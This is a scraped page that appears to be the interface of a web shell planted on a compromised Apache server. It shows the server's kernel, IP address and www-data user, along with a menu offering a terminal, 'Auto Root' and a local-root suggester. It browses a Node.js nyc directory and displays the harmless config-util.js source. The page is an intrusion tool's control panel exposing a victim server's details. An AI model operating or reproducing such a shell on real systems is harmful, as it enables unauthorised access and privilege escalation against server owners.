Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
nyc /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
commands
[ DIR ]
drwxr-xr-x
2024-07-09 21:58
instrumenters
[ DIR ]
drwxr-xr-x
2024-07-09 21:58
config-util.js
1.82
KB
-rw-r--r--
2023-08-21 05:40
fs-promises.js
726
B
-rw-r--r--
2023-08-21 05:40
hash.js
630
B
-rw-r--r--
2023-08-21 05:40
process-args.js
982
B
-rw-r--r--
2023-08-21 05:40
register-env.js
487
B
-rw-r--r--
2023-08-21 05:40
source-maps.js
2.24
KB
-rw-r--r--
2023-08-21 05:40
wrap.js
647
B
-rw-r--r--
2023-08-21 05:40
Save
Rename
'use strict' const path = require('path') const findUp = require('find-up') const Yargs = require('yargs/yargs') const { setupOptions } = require('./commands/helpers') const processArgs = require('./process-args') const { loadNycConfig } = require('@istanbuljs/load-nyc-config') async function guessCWD (cwd) { cwd = cwd || process.env.NYC_CWD || process.cwd() const pkgPath = await findUp('package.json', { cwd }) if (pkgPath) { cwd = path.dirname(pkgPath) } return cwd } async function processConfig (cwd) { cwd = await guessCWD(cwd) const yargs = Yargs([]) .usage('$0 [command] [options]') .usage('$0 [options] [bin-to-instrument]') .showHidden(false) setupOptions(yargs, null, cwd) yargs .example('$0 npm test', 'instrument your tests with coverage') .example('$0 --require @babel/register npm test', 'instrument your tests with coverage and transpile with Babel') .example('$0 report --reporter=text-lcov', 'output lcov report after running your tests') .epilog('visit https://git.io/vHysA for list of available reporters') .boolean('h') .boolean('version') .help(false) .version(false) const instrumenterArgs = processArgs.hideInstrumenteeArgs() // This yargs.parse must come before any options that exit post-hoc const childArgs = processArgs.hideInstrumenterArgs(yargs.parse(process.argv.slice(2))) const config = await loadNycConfig(yargs.parse(instrumenterArgs)) yargs .config(config) .help('h') .alias('h', 'help') .version() .command(require('./commands/check-coverage')) .command(require('./commands/instrument')) .command(require('./commands/report')) .command(require('./commands/merge')) return { get argv () { return yargs.parse(instrumenterArgs) }, childArgs, yargs } } module.exports = processConfig